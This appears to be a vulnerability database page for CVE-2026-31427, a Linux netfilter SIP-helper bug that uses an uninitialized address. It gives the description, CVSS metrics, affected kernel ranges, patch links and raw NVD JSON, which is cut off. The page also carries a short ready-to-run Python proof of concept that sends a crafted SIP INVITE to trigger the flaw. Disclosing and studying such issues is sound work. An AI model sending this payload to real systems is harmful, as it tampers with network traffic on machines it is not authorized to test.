CVE-2026-31427

Description

In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_conntrack_sip: fix use of uninitialized rtp_addr in process_sdp process_sdp() declares union nf_inet_addr rtp_addr on the stack and passes it to the nf_nat_sip sdp_session hook after walking the SDP media descriptions. However rtp_addr is only initialized inside the media loop when a recognized media type with a non-zero port is found. If the SDP body contains no m= lines, only inactive media sections (m=audio 0 ...) or only unrecognized media types, rtp_addr is never assigned. Despite that, the function still calls hooks->sdp_session() with &rtp_addr, causing nf_nat_sdp_session() to format the stale stack value as an IP address and rewrite the SDP session owner and connection lines with it. With CONFIG_INIT_STACK_ALL_ZERO (default on most distributions) this results in the session-level o= and c= addresses being rewritten to 0.0.0.0 for inactive SDP sessions. Without stack auto-init the rewritten address is whatever happened to be on the stack. Fix this by pre-initializing rtp_addr from the session-level connection address (caddr) when available, and tracking via a have_rtp_addr flag whether any valid address was established. Skip the sdp_session hook entirely when no valid address exists.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (修复补丁覆盖的主分支及稳定分支)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import socket # PoC for CVE-2026-31427 # Triggering the uninitialized rtp_addr usage in nf_conntrack_sip # by sending a SIP INVITE with an inactive media stream. target_ip = "192.168.1.10" target_port = 5060 # SDP with 'm=audio 0' (inactive) prevents rtp_addr initialization sdp_payload = ( "v=0\r\n" "o=user1 53655765 2353687637 IN IP4 192.168.1.100\r\n" "s=-\r\n" "c=IN IP4 192.168.1.100\r\n" "t=0 0\r\n" "m=audio 0 RTP/AVP 0\r\n" ) sip_request = ( "INVITE sip:test@{} SIP/2.0\r\n" "Via: SIP/2.0/UDP 192.168.1.100:5060;branch=z9hG4bK-poc\r\n" "Max-Forwards: 70\r\n" "To: <sip:test@{}>\r\n" "From: <sip:[email protected]>;tag=poc\r\n" "Call-ID: [email protected]\r\n" "CSeq: 1 INVITE\r\n" "Contact: <sip:[email protected]>\r\n" "Content-Type: application/sdp\r\n" "Content-Length: {}\r\n" "\r\n" "{}" ).format(target_ip, target_ip, len(sdp_payload), sdp_payload) try: # Sending the malicious SIP packet sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(sip_request.encode(), (target_ip, target_port)) print("[+] PoC payload sent successfully.") except Exception as e: print(f"[-] Error sending packet: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31427
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31427
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31427/
[4] VulDB https://vuldb.com/cve/CVE-2026-31427
[5] https://git.kernel.org/stable/c/01f34a80ac23ae90b1909b94b4ed05343a62f646
[6] https://git.kernel.org/stable/c/52fdda318ef2362fc5936385bcb8b3d0328ee629
[7] https://git.kernel.org/stable/c/6a2b724460cb67caed500c508c2ae5cf012e4db4
[8] https://git.kernel.org/stable/c/6e5e3c87b7e6212f1d8414fc2e4d158b01e12025
[9] https://git.kernel.org/stable/c/7edca70751b9bdb5b83eed53cde21eccf3c86147
[10] https://git.kernel.org/stable/c/82baeb871e8f04906bc886273fdf0209e1754eb3
[11] https://git.kernel.org/stable/c/faa6ea32797a1847790514ff0da1be1d09771580
[12] https://git.kernel.org/stable/c/fe463e76c9b4b0b43b5ee8961b4c500231f1a3f6

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31427", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-13T14:16:12.783", "lastModified": "2026-05-20T19:27:17.860", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_conntrack_sip: fix use of uninitialized rtp_addr in process_sdp\n\nprocess_sdp() declares union nf_inet_addr rtp_addr on the stack and\npasses it to the nf_nat_sip sdp_session hook after walking the SDP\nmedia descriptions. However rtp_addr is only initialized inside the\nmedia loop when a recognized media type with a non-zero port is found.\n\nIf the SDP body contains no m= lines, only inactive media sections\n(m=audio 0 ...) or only unrecognized media types, rtp_addr is never\nassigned. Despite that, the function still calls hooks->sdp_session()\nwith &rtp_addr, causing nf_nat_sdp_session() to format the stale stack\nvalue as an IP address and rewrite the SDP session owner and connection\nlines with it.\n\nWith CONFIG_INIT_STACK_ALL_ZERO (default on most distributions) this\nresults in the session-level o= and c= addresses being rewritten to\n0.0.0.0 for inactive SDP sessions. Without stack auto-init the\nrewritten address is whatever happened to be on the stack.\n\nFix this by pre-initializing rtp_addr from the session-level connection\naddress (caddr) when available, and tracking via a have_rtp_addr flag\nwhether any valid address was established. Skip the sdp_session hook\nentirely when no valid address exists."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-908"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.26", "versionEndExcluding": "5.10.253", "matchCriteriaId": "12FCCED5-075B-4D9E-9684-F4F99BF08DE6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.168", "matchCriteriaId": "E2DDDCA1-6DAB-4018-B920-8F045DDD8D3B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.131", "matchCriteriaId": "CE6ED4D4-0046-4573-BFA9-D64143B6A89F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.80", "matchCriteriaId": "97EB19EC-A11E-49C6-9D2F-6F6EC6CB98B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.21", "matchCriteriaId": "ED39847A-3B46-4729-B7CA-B2C30B9FA8FE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.11", "matchCriteriaId": "4CA2E747-A9EC-4518-9AA2-B4247FC748B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/01f34a80ac23ae90b1909b94b4ed05343a62f646", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/52fdda318ef2362fc5936385bcb8b3d0328ee629", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6a2b724460cb67caed500c508c2ae5cf012e4db4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6e5e3c87b7e6212f1d8414fc2e4d ... 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